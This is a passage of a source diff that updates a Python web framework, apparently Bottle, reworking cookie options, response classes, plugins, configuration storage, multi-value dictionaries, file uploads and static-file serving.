base64.b64encode(hmac.new(tob(secret), encoded, + digestmod=digestmod).digest()) + value = touni(tob('!') + sig + tob('?') + encoded) elif not isinstance(value, basestring): - raise TypeError('Secret key missing for non-string Cookie.') + raise TypeError('Secret key required for non-string cookies.') + + # Cookie size plus options must not exceed 4kb. + if len(name) + len(value) > 3800: + raise ValueError('Content does not fit into a cookie.') - if len(value) > 4096: raise ValueError('Cookie value to long.') self._cookies[name] = value for key, value in options.items(): - if key == 'max_age': + if key in ('max_age', 'maxage'): # 'maxage' variant added in 0.13 + key = 'max-age' if isinstance(value, timedelta): value = value.seconds + value.days * 24 * 3600 if key == 'expires': - if isinstance(value, (datedate, datetime)): - value = value.timetuple() - elif isinstance(value, (int, float)): - value = time.gmtime(value) - value = time.strftime("%a, %d %b %Y %H:%M:%S GMT", value) - self._cookies[name][key.replace('_', '-')] = value + value = http_date(value) + if key in ('same_site', 'samesite'): # 'samesite' variant added in 0.13 + key, value = 'samesite', (value or "none").lower() + if value not in ('lax', 'strict', 'none'): + raise CookieError("Invalid value for SameSite") + if key in ('secure', 'httponly') and not value: + continue + self._cookies[name][key] = value def delete_cookie(self, key, **kwargs): - ''' Delete a cookie. Be sure to use the same `domain` and `path` - settings as used to create the cookie. ''' + """ Delete a cookie. Be sure to use the same `domain` and `path` + settings as used to create the cookie. """ kwargs['max_age'] = -1 kwargs['expires'] = 0 self.set_cookie(key, '', **kwargs) @@ -1482,169 +1904,155 @@ def __repr__(self): out += '%s: %s\n' % (name.title(), value.strip()) return out -#: Thread-local storage for :class:`LocalRequest` and :class:`LocalResponse` -#: attributes. -_lctx = threading.local() -def local_property(name): - def fget(self): +def _local_property(): + ls = threading.local() + + def fget(_): try: - return getattr(_lctx, name) + return ls.var except AttributeError: raise RuntimeError("Request context not initialized.") - def fset(self, value): setattr(_lctx, name, value) - def fdel(self): delattr(_lctx, name) - return property(fget, fset, fdel, - 'Thread-local property stored in :data:`_lctx.%s`' % name) + + def fset(_, value): + ls.var = value + + def fdel(_): + del ls.var + + return property(fget, fset, fdel, 'Thread-local property') class LocalRequest(BaseRequest): - ''' A thread-local subclass of :class:`BaseRequest` with a different - set of attribues for each thread. There is usually only one global + """ A thread-local subclass of :class:`BaseRequest` with a different + set of attributes for each thread. There is usually only one global instance of this class (:data:`request`). If accessed during a request/response cycle, this instance always refers to the *current* - request (even on a multithreaded server). ''' + request (even on a multithreaded server). """ bind = BaseRequest.__init__ - environ = local_property('request_environ') + environ = _local_property() class LocalResponse(BaseResponse): - ''' A thread-local subclass of :class:`BaseResponse` with a different - set of attribues for each thread. There is usually only one global + """ A thread-local subclass of :class:`BaseResponse` with a different + set of attributes for each thread. There is usually only one global instance of this class (:data:`response`). Its attributes are used to build the HTTP response at the end of the request/response cycle. - ''' + """ bind = BaseResponse.__init__ - _status_line = local_property('response_status_line') - _status_code = local_property('response_status_code') - _cookies = local_property('response_cookies') - _headers = local_property('response_headers') - body = local_property('response_body') + _status_line = _local_property() + _status_code = _local_property() + _cookies = _local_property() + _headers = _local_property() + body = _local_property() + Request = BaseRequest Response = BaseResponse + class HTTPResponse(Response, BottleException): - def __init__(self, body='', status=None, header=None, **headers): - if header or 'output' in headers: - depr('Call signature changed (for the better)') - if header: headers.update(header) - if 'output' in headers: body = headers.pop('output') - super(HTTPResponse, self).__init__(body, status, **headers) - - def apply(self, response): - response._status_code = self._status_code - response._status_line = self._status_line - response._headers = self._headers - response._cookies = self._cookies - response.body = self.body - - def _output(self, value=None): - depr('Use HTTPResponse.body instead of HTTPResponse.output') - if value is None: return self.body - self.body = value - - output = property(_output, _output, doc='Alias for .body') + """ A subclass of :class:`Response` that can be raised or returned from request + handlers to short-curcuit request processing and override changes made to the + global :data:`request` object. This bypasses error handlers, even if the status + code indicates an error. Return or raise :class:`HTTPError` to trigger error + handlers. + """ -class HTTPError(HTTPResponse): - default_status = 500 - def __init__(self, status=None, body=None, exception=None, traceback=None, header=None, **headers): - self.exception = exception - self.traceback = traceback - super(HTTPError, self).__init__(body, status, header, **headers) + def __init__(self, body='', status=None, headers=None, **more_headers): + super(HTTPResponse, self).__init__(body, status, headers, **more_headers) + + def apply(self, other): + """ Copy the state of this response to a different :class:`Response` object. """ + other._status_code = self._status_code + other._status_line = self._status_line + other._headers = self._headers + other._cookies = self._cookies + other.body = self.body +class HTTPError(HTTPResponse): + """ A subclass of :class:`HTTPResponse` that triggers error handlers. """ + default_status = 500 + def __init__(self, + status=None, + body=None, + exception=None, + traceback=None, **more_headers): + self.exception = exception + self.traceback = traceback + super(HTTPError, self).__init__(body, status, **more_headers) ############################################################################### # Plugins ###################################################################### ############################################################################### -class PluginError(BottleException): pass + +class PluginError(BottleException): + pass + class JSONPlugin(object): name = 'json' - api = 2 + api = 2 def __init__(self, json_dumps=json_dumps): self.json_dumps = json_dumps + def setup(self, app): + app.config._define('json.enable', default=True, validate=bool, + help="Enable or disable automatic dict->json filter.") + app.config._define('json.ascii', default=False, validate=bool, + help="Use only 7-bit ASCII characters in output.") + app.config._define('json.indent', default=True, validate=bool, + help="Add whitespace to make json more readable.") + app.config._define('json.dump_func', default=None, + help="If defined, use this function to transform" + " dict into json. The other options no longer" + " apply.") + def apply(self, callback, route): dumps = self.json_dumps - if not dumps: return callback + if not self.json_dumps: return callback + + @functools.wraps(callback) def wrapper(*a, **ka): - rv = callback(*a, **ka) + try: + rv = callback(*a, **ka) + except HTTPResponse as resp: + rv = resp + if isinstance(rv, dict): #Attempt to serialize, raises exception on failure json_response = dumps(rv) - #Set content type only if serialization succesful + #Set content type only if serialization successful response.content_type = 'application/json' return json_response + elif isinstance(rv, HTTPResponse) and isinstance(rv.body, dict): + rv.body = dumps(rv.body) + rv.content_type = 'application/json' return rv - return wrapper - - -class HooksPlugin(object): - name = 'hooks' - api = 2 - - _names = 'before_request', 'after_request', 'app_reset' - - def __init__(self): - self.hooks = dict((name, []) for name in self._names) - self.app = None - def _empty(self): - return not (self.hooks['before_request'] or self.hooks['after_request']) - - def setup(self, app): - self.app = app - - def add(self, name, func): - ''' Attach a callback to a hook. ''' - was_empty = self._empty() - self.hooks.setdefault(name, []).append(func) - if self.app and was_empty and not self._empty(): self.app.reset() - - def remove(self, name, func): - ''' Remove a callback from a hook. ''' - was_empty = self._empty() - if name in self.hooks and func in self.hooks[name]: - self.hooks[name].remove(func) - if self.app and not was_empty and self._empty(): self.app.reset() - - def trigger(self, name, *a, **ka): - ''' Trigger a hook and return a list of results. ''' - hooks = self.hooks[name] - if ka.pop('reversed', False): hooks = hooks[::-1] - return [hook(*a, **ka) for hook in hooks] - - def apply(self, callback, route): - if self._empty(): return callback - def wrapper(*a, **ka): - self.trigger('before_request') - rv = callback(*a, **ka) - self.trigger('after_request', reversed=True) - return rv return wrapper class TemplatePlugin(object): - ''' This plugin applies the :func:`view` decorator to all routes with a + """ This plugin applies the :func:`view` decorator to all routes with a `template` config parameter. If the parameter is a tuple, the second element must be a dict with additional options (e.g. `template_engine`) - or default variables for the template. ''' + or default variables for the template. """ name = 'template' - api = 2 + api = 2 + + def setup(self, app): + app.tpl = self def apply(self, callback, route): conf = route.config.get('template') if isinstance(conf, (tuple, list)) and len(conf) == 2: return view(conf[0], **conf[1])(callback) - elif isinstance(conf, str) and 'template_opts' in route.config: - depr('The `template_opts` parameter is deprecated.') #0.9 - return view(conf, **route.config['template_opts'])(callback) elif isinstance(conf, str): return view(conf)(callback) else: @@ -1654,23 +2062,38 @@ def apply(self, callback, route): #: Not a plugin, but part of the plugin API. TODO: Find a better place. class _ImportRedirect(object): def __init__(self, name, impmask): - ''' Create a virtual package that redirects imports (see PEP 302). ''' + """ Create a virtual package that redirects imports (see PEP 302). """ self.name = name self.impmask = impmask - self.module = sys.modules.setdefault(name, imp.new_module(name)) - self.module.__dict__.update({'__file__': __file__, '__path__': [], - '__all__': [], '__loader__': self}) + self.module = sys.modules.setdefault(name, new_module(name)) + self.module.__dict__.update({ + '__file__': __file__, + '__path__': [], + '__all__': [], + '__loader__': self + }) sys.meta_path.append(self) + def find_spec(self, fullname, path, target=None): + if '.' not in fullname: return + if fullname.rsplit('.', 1)[0] != self.name: return + from importlib.util import spec_from_loader + return spec_from_loader(fullname, self) + def find_module(self, fullname, path=None): if '.' not in fullname: return - packname, modname = fullname.rsplit('.', 1) - if packname != self.name: return + if fullname.rsplit('.', 1)[0] != self.name: return return self + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass # This probably breaks importlib.reload() :/ + def load_module(self, fullname): if fullname in sys.modules: return sys.modules[fullname] - packname, modname = fullname.rsplit('.', 1) + modname = fullname.rsplit('.', 1)[1] realname = self.impmask % modname __import__(realname) module = sys.modules[fullname] = sys.modules[realname] @@ -1678,11 +2101,6 @@ def load_module(self, fullname): module.__loader__ = self return module - - - - - ############################################################################### # Common Utilities ############################################################# ############################################################################### @@ -1697,38 +2115,68 @@ class MultiDict(DictMixin): def __init__(self, *a, **k): self.dict = dict((k, [v]) for (k, v) in dict(*a, **k).items()) - def __len__(self): return len(self.dict) - def __iter__(self): return iter(self.dict) - def __contains__(self, key): return key in self.dict - def __delitem__(self, key): del self.dict[key] - def __getitem__(self, key): return self.dict[key][-1] - def __setitem__(self, key, value): self.append(key, value) - def keys(self): return self.dict.keys() + def __len__(self): + return len(self.dict) + + def __iter__(self): + return iter(self.dict) + + def __contains__(self, key): + return key in self.dict + + def __delitem__(self, key): + del self.dict[key] + + def __getitem__(self, key): + return self.dict[key][-1] + + def __setitem__(self, key, value): + self.append(key, value) + + def keys(self): + return self.dict.keys() if py3k: - def values(self): return (v[-1] for v in self.dict.values()) - def items(self): return ((k, v[-1]) for k, v in self.dict.items()) + + def values(self): + return (v[-1] for v in self.dict.values()) + + def items(self): + return ((k, v[-1]) for k, v in self.dict.items()) + def allitems(self): return ((k, v) for k, vl in self.dict.items() for v in vl) + iterkeys = keys itervalues = values iteritems = items iterallitems = allitems else: - def values(self): return [v[-1] for v in self.dict.values()] - def items(self): return [(k, v[-1]) for k, v in self.dict.items()] - def iterkeys(self): return self.dict.iterkeys() - def itervalues(self): return (v[-1] for v in self.dict.itervalues()) + + def values(self): + return [v[-1] for v in self.dict.values()] + + def items(self): + return [(k, v[-1]) for k, v in self.dict.items()] + + def iterkeys(self): + return self.dict.iterkeys() + + def itervalues(self): + return (v[-1] for v in self.dict.itervalues()) + def iteritems(self): return ((k, v[-1]) for k, v in self.dict.iteritems()) + def iterallitems(self): return ((k, v) for k, vl in self.dict.iteritems() for v in vl) + def allitems(self): return [(k, v) for k, vl in self.dict.iteritems() for v in vl] def get(self, key, default=None, index=-1, type=None): - ''' Return the most recent value for a key. + """ Return the most recent value for a key. :param default: The default value to be returned if the key is not present or the type conversion fails. @@ -1736,7 +2184,7 @@ def get(self, key, default=None, index=-1, type=None): :param type: If defined, this callable is used to cast the value into a specific type. Exception are suppressed and result in the default value to be returned. - ''' + """ try: val = self.dict[key][index] return type(val) if type else val @@ -1745,15 +2193,15 @@ def get(self, key, default=None, index=-1, type=None): return default def append(self, key, value): - ''' Add a new value to the list of values for this key. ''' + """ Add a new value to the list of values for this key. """ self.dict.setdefault(key, []).append(value) def replace(self, key, value): - ''' Replace the list of values with a single value. ''' + """ Replace the list of values with a single value. """ self.dict[key] = [value] def getall(self, key): - ''' Return a (possibly empty) list of values for a key. ''' + """ Return a (possibly empty) list of values for a key. """ return self.dict.get(key) or [] #: Aliases for WTForms to mimic other multi-dict APIs (Django) @@ -1761,14 +2209,13 @@ def getall(self, key): getlist = getall - class FormsDict(MultiDict): - ''' This :class:`MultiDict` subclass is used to store request form data. + """ This :class:`MultiDict` subclass is used to store request form data. Additionally to the normal dict-like item access methods (which return unmodified data as native strings), this container also supports attribute-like access to its values. Attributes are automatically de- or recoded to match :attr:`input_encoding` (default: 'utf8'). Missing - attributes default to an empty string. ''' + attributes default to an empty string. """ #: Encoding used for attribute values. input_encoding = 'utf8' @@ -1777,16 +2224,17 @@ class FormsDict(MultiDict): recode_unicode = True def _fix(self, s, encoding=None): - if isinstance(s, unicode) and self.recode_unicode: # Python 3 WSGI - s = s.encode('latin1') - if isinstance(s, bytes): # Python 2 WSGI + if isinstance(s, unicode) and self.recode_unicode: # Python 3 WSGI + return s.encode('latin1').decode(encoding or self.input_encoding) + elif isinstance(s, bytes): # Python 2 WSGI return s.decode(encoding or self.input_encoding) - return s + else: + return s def decode(self, encoding=None): - ''' Returns a copy with all keys and values de- or recoded to match + """ Returns a copy with all keys and values de- or recoded to match :attr:`input_encoding`. Some libraries (e.g. WTForms) want a - unicode dictionary. ''' + unicode dictionary. """ copy = FormsDict() enc = copy.input_encoding = encoding or self.input_encoding copy.recode_unicode = False @@ -1795,18 +2243,18 @@ def decode(self, encoding=None): return copy def getunicode(self, name, default=None, encoding=None): + """ Return the value as a unicode string, or the default. """ try: return self._fix(self[name], encoding) except (UnicodeError, KeyError): return default def __getattr__(self, name, default=unicode()): - # Without this guard, pickle generates a cryptic TypeError: + # Without this guard, dunder attribute probing generates a cryptic TypeError: if name.startswith('__') and name.endswith('__'): return super(FormsDict, self).__getattr__(name) return self.getunicode(name, default=default) - class HeaderDict(MultiDict): """ A case-insensitive version of :class:`MultiDict` that defaults to replace the old value instead of appending it. """ @@ -1815,24 +2263,38 @@ def __init__(self, *a, **ka): self.dict = {} if a or ka: self.update(*a, **ka) - def __contains__(self, key): return _hkey(key) in self.dict - def __delitem__(self, key): del self.dict[_hkey(key)] - def __getitem__(self, key): return self.dict[_hkey(key)][-1] - def __setitem__(self, key, value): self.dict[_hkey(key)] = [str(value)] + def __contains__(self, key): + return _hkey(key) in self.dict + + def __delitem__(self, key): + del self.dict[_hkey(key)] + + def __getitem__(self, key): + return self.dict[_hkey(key)][-1] + + def __setitem__(self, key, value): + self.dict[_hkey(key)] = [_hval(value)] + def append(self, key, value): - self.dict.setdefault(_hkey(key), []).append(str(value)) - def replace(self, key, value): self.dict[_hkey(key)] = [str(value)] - def getall(self, key): return self.dict.get(_hkey(key)) or [] + self.dict.setdefault(_hkey(key), []).append(_hval(value)) + + def replace(self, key, value): + self.dict[_hkey(key)] = [_hval(value)] + + def getall(self, key): + return self.dict.get(_hkey(key)) or [] + def get(self, key, default=None, index=-1): return MultiDict.get(self, _hkey(key), default, index) + def filter(self, names): - for name in [_hkey(n) for n in names]: + for name in (_hkey(n) for n in names): if name in self.dict: del self.dict[name] class WSGIHeaderDict(DictMixin): - ''' This dict-like class wraps a WSGI environ dict and provides convenient + """ This dict-like class wraps a WSGI environ dict and provides convenient access to HTTP_* fields. Keys and values are native strings (2.x bytes or 3.x unicode) and keys are case-insensitive. If the WSGI environment contains non-native string values, these are de- or encoded @@ -1841,7 +2303,7 @@ class WSGIHeaderDict(DictMixin): The API will remain stable even on changes to the relevant PEPs. Currently PEP 333, 444 and 3333 are supported. (PEP 444 is the only one that uses non-native strings.) - ''' + """ #: List of keys that do not have a ``HTTP_`` prefix. cgikeys = ('CONTENT_TYPE', 'CONTENT_LENGTH') @@ -1849,18 +2311,24 @@ def __init__(self, environ): self.environ = environ def _ekey(self, key): - ''' Translate header field name to CGI/WSGI environ key. ''' - key = key.replace('-','_').upper() + """ Translate header field name to CGI/WSGI environ key. """ + key = key.replace('-', '_').upper() if key in self.cgikeys: return key return 'HTTP_' + key def raw(self, key, default=None): - ''' Return the header value as is (may be bytes or unicode). ''' + """ Return the header value as is (may be bytes or unicode). """ return self.environ.get(self._ekey(key), default) def __getitem__(self, key): - return tonat(self.environ[self._ekey(key)], 'latin1') + val = self.environ[self._ekey(key)] + if py3k: + if isinstance(val, unicode): + val = val.encode('latin1').decode('utf8') + else: + val = val.decode('utf8') + return val def __setitem__(self, key, value): raise TypeError("%s is read-only." % self.__class__) @@ -1871,54 +2339,268 @@ def __delitem__(self, key): def __iter__(self): for key in self.environ: if key[:5] == 'HTTP_': - yield key[5:].replace('_', '-').title() + yield _hkey(key[5:]) elif key in self.cgikeys: - yield key.replace('_', '-').title() + yield _hkey(key) + + def keys(self): + return [x for x in self] + + def __len__(self): + return len(self.keys()) - def keys(self): return [x for x in self] - def __len__(self): return len(self.keys()) - def __contains__(self, key): return self._ekey(key) in self.environ + def __contains__(self, key): + return self._ekey(key) in self.environ +_UNSET = object() class ConfigDict(dict): - ''' A dict-subclass with some extras: You can access keys like attributes. - Uppercase attributes create new ConfigDicts and act as name-spaces. - Other missing attributes return None. Calling a ConfigDict updates its - values and returns itself. - - >>> cfg = ConfigDict() - >>> cfg.Namespace.value = 5 - >>> cfg.OtherNamespace(a=1, b=2) - >>> cfg - {'Namespace': {'value': 5}, 'OtherNamespace': {'a': 1, 'b': 2}} - ''' + """ A dict-like configuration storage with additional support for + namespaces, validators, meta-data and overlays. - def __getattr__(self, key): - if key not in self and key[0].isupper(): - self[key] = ConfigDict() - return self.get(key) + This dict-like class is heavily optimized for read access. + Read-only methods and item access should be as fast as a native dict. + """ - def __setattr__(self, key, value): - if hasattr(dict, key): - raise AttributeError('Read-only attribute.') - if key in self and self[key] and isinstance(self[key], ConfigDict): - raise AttributeError('Non-empty namespace attribute.') - self[key] = value + __slots__ = ('_meta', '_change_listener', '_overlays', '_virtual_keys', '_source', '__weakref__') - def __delattr__(self, key): - if key in self: del self[key] + def __init__(self): + self._meta = {} + self._change_listener = [] + #: Weak references of overlays that need to be kept in sync. + self._overlays = [] + #: Config that is the source for this overlay. + self._source = None + #: Keys of values copied from the source (values we do not own) + self._virtual_keys = set() + + def load_module(self, name, squash=True): + """Load values from a Python module. + + Import a python module by name and add all upper-case module-level + variables to this config dict. + + :param name: Module name to import and load. + :param squash: If true (default), nested dicts are assumed to + represent namespaces and flattened (see :meth:`load_dict`). + """ + config_obj = load(name) + obj = {key: getattr(config_obj, key) + for key in dir(config_obj) if key.isupper()} + + if squash: + self.load_dict(obj) + else: + self.update(obj) + return self + + def load_config(self, filename, **options): + """ Load values from ``*.ini`` style config files using configparser. + + INI style sections (e.g. ``[section]``) are used as namespace for + all keys within that section. Both section and key names may contain + dots as namespace separators and are converted to lower-case. + + The special sections ``[bottle]`` and ``[ROOT]`` refer to the root + namespace and the ``[DEFAULT]`` section defines default values for all + other sections. + + :param filename: The path of a config file, or a list of paths. + :param options: All keyword parameters are passed to the underlying + :class:`python:configparser.ConfigParser` constructor call. + + """ + options.setdefault('allow_no_value', True) + if py3k: + options.setdefault('interpolation', + configparser.ExtendedInterpolation()) + conf = configparser.ConfigParser(**options) + conf.read(filename) + for section in conf.sections(): + for key in conf.options(section): + value = conf.get(section, key) + if section not in ('bottle', 'ROOT'): + key = section + '.' + key + self[key.lower()] = value + return self + + def load_dict(self, source, namespace=''): + """ Load values from a dictionary structure. Nesting can be used to + represent namespaces. - def __call__(self, *a, **ka): - for key, value in dict(*a, **ka).items(): setattr(self, key, value) + >>> c = ConfigDict() + >>> c.load_dict({'some': {'namespace': {'key': 'value'} } }) + {'some.namespace.key': 'value'} + """ + for key, value in source.items(): + if isinstance(key, basestring): + nskey = (namespace + '.' + key).strip('.') + if isinstance(value, dict): + self.load_dict(value, namespace=nskey) + else: + self[nskey] = value + else: + raise TypeError('Key has type %r (not a string)' % type(key)) return self + def update(self, *a, **ka): + """ If the first parameter is a string, all keys are prefixed with this + namespace. Apart from that it works just as the usual dict.update(). + + >>> c = ConfigDict() + >>> c.update('some.namespace', key='value') + """ + prefix = '' + if a and isinstance(a[0], basestring): + prefix = a[0].strip('.') + '.' + a = a[1:] + for key, value in dict(*a, **ka).items(): + self[prefix + key] = value + + def setdefault(self, key, value=None): + if key not in self: + self[key] = value + return self[key] + + def __setitem__(self, key, value): + if not isinstance(key, basestring): + raise TypeError('Key has type %r (not a string)' % type(key)) + + self._virtual_keys.discard(key) + + value = self.meta_get(key, 'filter', lambda x: x)(value) + if key in self and self[key] is value: + return + + self._on_change(key, value) + dict.__setitem__(self, key, value) + + for overlay in self._iter_overlays(): + overlay._set_virtual(key, value) + + def __delitem__(self, key): + if key not in self: + raise KeyError(key) + if key in self._virtual_keys: + raise KeyError("Virtual keys cannot be deleted: %s" % key) + + if self._source and key in self._source: + # Not virtual, but present in source -> Restore virtual value + dict.__delitem__(self, key) + self._set_virtual(key, self._source[key]) + else: # not virtual, not present in source. This is OUR value + self._on_change(key, None) + dict.__delitem__(self, key) + for overlay in self._iter_overlays(): + overlay._delete_virtual(key) + + def _set_virtual(self, key, value): + """ Recursively set or update virtual keys. """ + if key in self and key not in self._virtual_keys: + return # Do nothing for non-virtual keys. + + self._virtual_keys.add(key) + if key in self and self[key] is not value: + self._on_change(key, value) + dict.__setitem__(self, key, value) + for overlay in self._iter_overlays(): + overlay._set_virtual(key, value) + + def _delete_virtual(self, key): + """ Recursively delete virtual entry. """ + if key not in self._virtual_keys: + return # Do nothing for non-virtual keys. + + if key in self: + self._on_change(key, None) + dict.__delitem__(self, key) + self._virtual_keys.discard(key) + for overlay in self._iter_overlays(): + overlay._delete_virtual(key) + + def _on_change(self, key, value): + for cb in self._change_listener: + if cb(self, key, value): + return True + + def _add_change_listener(self, func): + self._change_listener.append(func) + return func + + def meta_get(self, key, metafield, default=None): + """ Return the value of a meta field for a key. """ + return self._meta.get(key, {}).get(metafield, default) + + def meta_set(self, key, metafield, value): + """ Set the meta field for a key to a new value. + + Meta-fields are shared between all members of an overlay tree. + """ + self._meta.setdefault(key, {})[metafield] = value + + def meta_list(self, key): + """ Return an iterable of meta field names defined for a key. """ + return self._meta.get(key, {}).keys() + + def _define(self, key, default=_UNSET, help=_UNSET, validate=_UNSET): + """ (Unstable) Shortcut for plugins to define own config parameters. """ + if default is not _UNSET: + self.setdefault(key, default) + if help is not _UNSET: + self.meta_set(key, 'help', help) + if validate is not _UNSET: + self.meta_set(key, 'validate', validate) + + def _iter_overlays(self): + for ref in self._overlays: + overlay = ref() + if overlay is not None: + yield overlay + + def _make_overlay(self): + """ (Unstable) Create a new overlay that acts like a chained map: Values + missing in the overlay are copied from the source map. Both maps + share the same meta entries. + + Entries that were copied from the source are called 'virtual'. You + can not delete virtual keys, but overwrite them, which turns them + into non-virtual entries. Setting keys on an overlay never affects + its source, but may affect any number of child overlays. + + Other than collections.ChainMap or most other implementations, this + approach does not resolve missing keys on demand, but instead + actively copies all values from the source to the overlay and keeps + track of virtual and non-virtual keys internally. This removes any + lookup-overhead. Read-access is as fast as a build-in dict for both + virtual and non-virtual keys. + + Changes are propagated recursively and depth-first. A failing + on-change handler in an overlay stops the propagation of virtual + values and may result in an partly updated tree. Take extra care + here and make sure that on-change handlers never fail. + + Used by Route.config + """ + # Cleanup dead references + self._overlays[:] = [ref for ref in self._overlays if ref() is not None] + + overlay = ConfigDict() + overlay._meta = self._meta + overlay._source = self + self._overlays.append(weakref.ref(overlay)) + for key in self: + overlay._set_virtual(key, self[key]) + return overlay + + + class AppStack(list): """ A stack-like list. Calling it returns the head of the stack. """ def __call__(self): """ Return the current default application. """ - return self[-1] + return self.default def push(self, value=None): """ Add a new :class:`Bottle` instance to the stack """ @@ -1926,40 +2608,58 @@ def push(self, value=None): value = Bottle() self.append(value) return value + new_app = push + @property + def default(self): + try: + return self[-1] + except IndexError: + return self.push() -class WSGIFileWrapper(object): - def __init__(self, fp, buffer_size=1024*64): +class WSGIFileWrapper(object): + def __init__(self, fp, buffer_size=1024 * 64): self.fp, self.buffer_size = fp, buffer_size - for attr in ('fileno', 'close', 'read', 'readlines', 'tell', 'seek'): + for attr in 'fileno', 'close', 'read', 'readlines', 'tell', 'seek': if hasattr(fp, attr): setattr(self, attr, getattr(fp, attr)) def __iter__(self): buff, read = self.buffer_size, self.read - while True: - part = read(buff) - if not part: return + part = read(buff) + while part: yield part + part = read(buff) -class _iterchain(itertools.chain): - ''' This only exists to be able to attach a .close method to iterators that - do not support attribute assignment (most of itertools). ''' +class _closeiter(object): + """ This only exists to be able to attach a .close method to iterators that + do not support attribute assignment (most of itertools). """ + + def __init__(self, iterator, close=None): + self.iterator = iterator + self.close_callbacks = makelist(close) + + def __iter__(self): + return iter(self.iterator) + + def close(self): + for func in self.close_callbacks: + func() class ResourceManager(object): - ''' This class manages a list of search paths and helps to find and open + """ This class manages a list of search paths and helps to find and open application-bound resources (files). :param base: default value for :meth:`add_path` calls. :param opener: callable used to open resources. :param cachemode: controls which lookups are cached. One of 'all', 'found' or 'none'. - ''' + """ def __init__(self, base='./', opener=open, cachemode='all'): - self.opener = open + self.opener = opener self.base = base self.cachemode = cachemode @@ -1969,7 +2669,7 @@ def __init__(self, base='./', opener=open, cachemode='all'): self.cache = {} def add_path(self, path, base=None, index=None, create=False): - ''' Add a new path to the list of search paths. Return False if the + """ Add a new path to the list of search paths. Return False if the path does not exist. :param path: The new search path. Relative paths are turned into @@ -1984,7 +2684,7 @@ def add_path(self, path, base=None, index=None, create=False): along with a python module or package:: res.add_path('./resources/', __file__) - ''' + """ base = os.path.abspath(os.path.dirname(base or self.base)) path = os.path.abspath(os.path.join(base, os.path.dirname(path))) path += os.sep @@ -2000,7 +2700,7 @@ def add_path(self, path, base=None, index=None, create=False): return os.path.exists(path) def __iter__(self): - ''' Iterate over all existing files in all registered paths. ''' + """ Iterate over all existing files in all registered paths. """ search = self.path[:] while search: path = search.pop() @@ -2011,11 +2711,11 @@ def __iter__(self): else: yield full def lookup(self, name): - ''' Search for a resource and return an absolute file path, or `None`. + """ Search for a resource and return an absolute file path, or `None`. The :attr:`path` list is searched in order. The first match is - returend. Symlinks are followed. The result is cached to speed up - future lookups. ''' + returned. Symlinks are followed. The result is cached to speed up + future lookups. """ if name not in self.cache or DEBUG: for path in self.path: fpath = os.path.join(path, name) @@ -2028,22 +2728,84 @@ def lookup(self, name): return self.cache[name] def open(self, name, mode='r', *args, **kwargs): - ''' Find a resource and return a file object, or raise IOError. ''' + """ Find a resource and return a file object, or raise IOError. """ fname = self.lookup(name) if not fname: raise IOError("Resource %r not found." % name) - return self.opener(name, mode=mode, *args, **kwargs) + return self.opener(fname, mode=mode, *args, **kwargs) +class FileUpload(object): + def __init__(self, fileobj, name, filename, headers=None): + """ Wrapper for a single file uploaded via ``multipart/form-data``. """ + #: Open file(-like) object (BytesIO buffer or temporary file) + self.file = fileobj + #: Name of the upload form field + self.name = name + #: Raw filename as sent by the client (may contain unsafe characters) + self.raw_filename = filename + #: A :class:`HeaderDict` with additional headers (e.g. content-type) + self.headers = HeaderDict(headers) if headers else HeaderDict() + content_type = HeaderProperty('Content-Type') + content_length = HeaderProperty('Content-Length', reader=int, default=-1) + def get_header(self, name, default=None): + """ Return the value of a header within the multipart part. """ + return self.headers.get(name, default) + @cached_property + def filename(self): + """ Name of the file on the client file system, but normalized to ensure + file system compatibility. An empty filename is returned as 'empty'. + + Only ASCII letters, digits, dashes, underscores and dots are + allowed in the final filename. Accents are removed, if possible. + Whitespace is replaced by a single dash. Leading or tailing dots + or dashes are removed. The filename is limited to 255 characters. + """ + fname = self.raw_filename + if not isinstance(fname, unicode): + fname = fname.decode('utf8', 'ignore') + fname = normalize('NFKD', fname) + fname = fname.encode('ASCII', 'ignore').decode('ASCII') + fname = os.path.basename(fname.replace('\\', os.path.sep)) + fname = re.sub(r'[^a-zA-Z0-9-_.\s]', '', fname).strip() + fname = re.sub(r'[-\s]+', '-', fname).strip('.-') + return fname[:255] or 'empty' + + def _copy_file(self, fp, chunk_size=2 ** 16): + read, write, offset = self.file.read, fp.write, self.file.tell() + while 1: + buf = read(chunk_size) + if not buf: break + write(buf) + self.file.seek(offset) + + def save(self, destination, overwrite=False, chunk_size=2 ** 16): + """ Save file to disk or copy its content to an open file(-like) object. + If *destination* is a directory, :attr:`filename` is added to the + path. Existing files are not overwritten by default (IOError). + + :param destination: File path, directory or file(-like) object. + :param overwrite: If True, replace existing files. (default: False) + :param chunk_size: Bytes to read at a time. (default: 64kb) + """ + if isinstance(destination, basestring): # Except file-likes here + if os.path.isdir(destination): + destination = os.path.join(destination, self.filename) + if not overwrite and os.path.exists(destination): + raise IOError('File exists.') + with open(destination, 'wb') as fp: + self._copy_file(fp, chunk_size) + else: + self._copy_file(destination, chunk_size) ############################################################################### # Application Helper ########################################################### ############################################################################### -def abort(code=500, text='Unknown Error: Application stopped.'): +def abort(code=500, text='Unknown Error.'): """ Aborts execution and causes a HTTP error. """ raise HTTPError(code, text) @@ -2051,31 +2813,67 @@ def abort(code=500, text='Unknown Error: Application stopped.'): def redirect(url, code=None): """ Aborts execution and causes a 303 or 302 redirect, depending on the HTTP protocol version. """ - if code is None: + if not code: code = 303 if request.get('SERVER_PROTOCOL') == "HTTP/1.1" else 302 - location = urljoin(request.url, url) - raise HTTPResponse("", status=code, Location=location) + res = response.copy(cls=HTTPResponse) + res.status = code + res.body = "" + res.set_header('Location', urljoin(request.url, url)) + raise res -def _file_iter_range(fp, offset, bytes, maxread=1024*1024): - ''' Yield chunks from a range in a file. No chunk is bigger than maxread.''' +def _rangeiter(fp, offset, limit, bufsize=1024 * 1024): + """ Yield chunks from a range in a file. """ fp.seek(offset) - while bytes > 0: - part = fp.read(min(bytes, maxread)) - if not part: break - bytes -= len(part) + while limit > 0: + part = fp.read(min(limit, bufsize)) + if not part: + break + limit -= len(part) yield part -def static_file(filename, root, mimetype='auto', download=False): - """ Open a file in a safe way and return :exc:`HTTPResponse` with status - code 200, 305, 401 or 404. Set Content-Type, Content-Encoding, - Content-Length and Last-Modified header. Obey If-Modified-Since header - and HEAD requests. +def static_file(filename, root, + mimetype=True, + download=False, + charset='UTF-8', + etag=None, + headers=None): + """ Open a file in a safe way and return an instance of :exc:`HTTPResponse` + that can be sent back to the client. + + :param filename: Name or path of the file to send, relative to ``root``. + :param root: Root path for file lookups. Should be an absolute directory + path. + :param mimetype: Provide the content-type header (default: guess from + file extension) + :param download: If True, ask the browser to open 